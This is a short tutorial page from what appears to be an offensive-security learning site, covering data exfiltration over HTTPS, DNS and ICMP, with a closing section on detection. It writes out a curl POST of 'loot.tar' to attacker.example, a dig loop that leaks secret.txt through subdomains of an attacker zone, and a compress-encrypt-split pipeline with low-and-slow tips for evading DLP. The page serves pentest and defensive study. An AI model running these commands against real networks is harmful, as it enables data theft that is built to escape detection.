Skip to content
Pwnversity
NET-EXFILintermediate · 3 min · upd. 2026-10

Data exfiltration

T1048

Exfiltration is the unauthorized removal of data from the target network to the attacker. It’s the phase that realizes the impact of an intrusion and, from the offensive side in a pentest, it demonstrates that egress controls (DLP, outbound filtering, detection) can be bypassed. It differs from plain file transfer in that the goal here is to evade detection, not just move the file.

flowchart LR
    DATA[(Target data)] --> ENC["Compress + encrypt"]
    ENC --> CH{"Channel"}
    CH -->|HTTPS| ATK["Attacker"]
    CH -->|DNS| ATK
    CH -->|ICMP| ATK

The criterion is to use protocols that egress usually allows and that generate little noise.

The most common channel because outbound web is almost never blocked. Data in the body of a POST or, more stealthily, inside TLS.

Ventana de terminal
# POST the content to an attacker-controlled endpoint
curl -X POST --data-binary @loot.tar https://attacker.example/u

When only DNS leaves the network. Slow but very hard to block: data is encoded into subdomains of a zone the attacker controls.

Ventana de terminal
# concept: each label carries an encoded chunk of data
for c in $(base32 -w0 secret.txt | fold -w30); do
dig $c.exfil.attacker.example +short
done

Data in the padding field of ping packets. Useful when ICMP leaves but everything else is filtered.

  • Compress and encrypt before leaving: less volume, and the content isn’t readable by a pattern-based DLP.
  • Fragment: splitting into small pieces avoids transfer spikes that trigger alerts.
  • Low and slow: space the sends out so they don’t stand out against normal traffic.
Ventana de terminal
tar czf - /data | openssl enc -aes-256-cbc -pbkdf2 -out loot.enc
split -b 1M loot.enc part_ # fragment into 1 MB chunks

This technique is also studied from the other side: in DFIR and Threat Intelligence, exfiltration (MITRE ATT&CK, Exfiltration tactic TA0010) is detected by anomalous outbound volume, excessive DNS queries to a single domain, ICMP tunnels and connections to freshly registered destinations. Egress filtering, DNS inspection and traffic baselines are the key controls.